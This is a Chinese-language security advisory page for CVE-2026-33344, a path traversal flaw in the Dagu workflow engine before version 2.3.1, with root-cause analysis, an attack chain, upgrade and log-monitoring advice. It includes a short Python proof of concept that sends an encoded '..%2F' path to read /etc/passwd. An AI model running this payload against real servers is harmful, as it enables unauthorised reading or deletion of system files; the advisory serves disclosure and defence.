IPBUF安全漏洞报告
English
CVE-2026-33344 CVSS 8.1 高危

CVE-2026-33344 Dagu路径遍历漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33344
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dagu

相关标签

路径遍历DaguCVE-2026-33344CWE-22

漏洞概述

Dagu工作流引擎在2.0.0至2.3.1之前的版本中存在安全漏洞,由于部分API端点未正确验证文件名参数,攻击者可利用特制的URL编码斜杠(%2F)实施路径遍历攻击。这可能导致DAGs目录之外的敏感文件被读取、删除或重命名。开发者已在2.3.1版本中发布了修复补丁,建议用户尽快升级。

技术细节

该漏洞的根本原因在于Dagu在修复CVE-2026-27598时,仅在CreateNewDAG路径中添加了ValidateDAGName函数并重写了generateFilePath以使用filepath.Base。然而,其余关键API端点(包括GET、DELETE、RENAME和EXECUTE)在处理URL路径参数{fileName}时,直接将其传递给locateDAG函数,而完全未调用ValidateDAGName进行校验。攻击者可以通过精心构造的请求,在{fileName}参数中插入%2F(即URL编码的斜杠)字符,从而绕过路径限制。利用该路径遍历漏洞,攻击者能够定位、读取、删除或重命名DAGs目录以外的任意文件。鉴于攻击仅需低权限用户(PR:L)且无需用户交互(UI:N),该漏洞具有较高的利用价值,严重威胁系统的机密性和完整性。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取Dagu Web界面的低权限用户账户访问权限。
STEP 2
步骤2:构造恶意请求
攻击者针对受影响的API端点(如GET, DELETE),在{fileName}参数中插入包含%2F(URL编码的斜杠)的字符串,旨在遍历出DAGs目录。
STEP 3
步骤3:执行路径遍历
服务器端未正确过滤特殊字符,将恶意参数传递给文件定位函数,导致攻击者能够访问、删除或修改系统中的敏感文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL example target_url = "http://localhost:8080" # The vulnerability allows %2F (encoded slash) to traverse directories # Attempting to read /etc/passwd using the GET endpoint malicious_filename = "..%2F..%2F..%2F..%2Fetc%2Fpasswd" # Construct the request to a vulnerable endpoint (e.g., /api/dags/{fileName}) # Note: Actual endpoint path may vary based on Dagu configuration url = f"{target_url}/api/dags/{malicious_filename}" try: response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Potential Path Traversal Successful!") print(f"[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Dagu >= 2.0.0, < 2.3.1

防御指南

临时缓解措施
如果无法立即升级,请严格限制对Dagu服务器的网络访问,并监控日志中是否存在包含异常文件路径参数(如"..%2F")的API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表